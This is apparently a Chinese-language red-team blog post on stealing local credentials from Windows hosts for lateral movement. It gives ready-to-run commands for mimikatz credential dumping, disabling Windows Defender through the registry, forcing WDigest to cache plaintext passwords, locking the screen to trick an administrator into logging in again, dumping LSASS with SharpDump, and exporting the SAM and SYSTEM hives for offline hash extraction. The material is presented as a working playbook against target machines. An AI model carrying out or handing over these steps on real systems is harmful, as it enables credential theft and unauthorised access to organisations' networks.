横向移动-本机凭证获取

@wintry大约 2 分钟

获取凭证的快捷路径

翻用户桌面,可能存在服务器密码信息,甚至其它服务器

找内部wiki手册,邮箱等东西可能存在服务器IP和密码信息

LM Hash和NTLM Hash

Windows操作系统中的密码由两部分加密组成,即 LM Hash 和 NTLM Hash。

LM Hash(LAN Manager Hash),本质为DES加密,密码不足14位用0补全。

自Server 2003之后,Windows的认证方式均为NTLM Hash。

自Server 2008开始默认禁用LM Hash, 当密码超过14位时候会采用NTLM加密

如果抓取的LM Hash为AAD3B435B51404EEAAD3B435B51404EE说明密码为空或LM Hash被禁用。

2003win720082012
LM
NTLM

Hash一般存储在两个地方

  • SAM文件:存储在本机,对应本地用户
  • NTDS.DIT文件:存储在域控上,对应域用户

Server 2008 及之前抓明文密码

将mimikatz上传到目标主机(需要免杀),并且要SYSTEM权限。

#读取散列值和明文密码
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" exit

Server 2012 之后抓明文密码

手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录+导出Hash+本地mimikatz抓明文

#临时关闭Defender
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f gpupdate /force

#修改注册表来让Wdigest Auth保存明文口令
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

#强制锁屏
rundll32.exe user32.dll,LockWorkStation

#恢复
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

导出NTLM Hash

Sharpdump+ mimikatz本地读取

需要.NET 3.5版本框架,需要系统管理员权限

下载地址:https://github.com/GhostPack/SharpDump open in new window

Dump 的文件默认是 bin 后缀,拖到本地机器把 bin 重命名为 zip,然后解压出来再丢给 mimikatz

mimikatz.exe "sekurlsa::minidump debug45" "sekurlsa::logonPasswords full" "exit"

注册表 + mimikatz本地读取

(1)导出SAM和System文件

Win2000和XP需要先提到SYSTEM,Server 03开始直接可以reg save 也需要系统管理员权限

reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive

(2)mimikatz本地读取 NTLM Hash

mimikatz可以从内存中提取明文编码、散列值、PIN和Kerberos票据;还可以用来执行哈希传递、票据传递和构建黄金票据(Golden Ticket)。

#将导出的文件和mimikatz放到同一目录
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive /security:security.hive" exit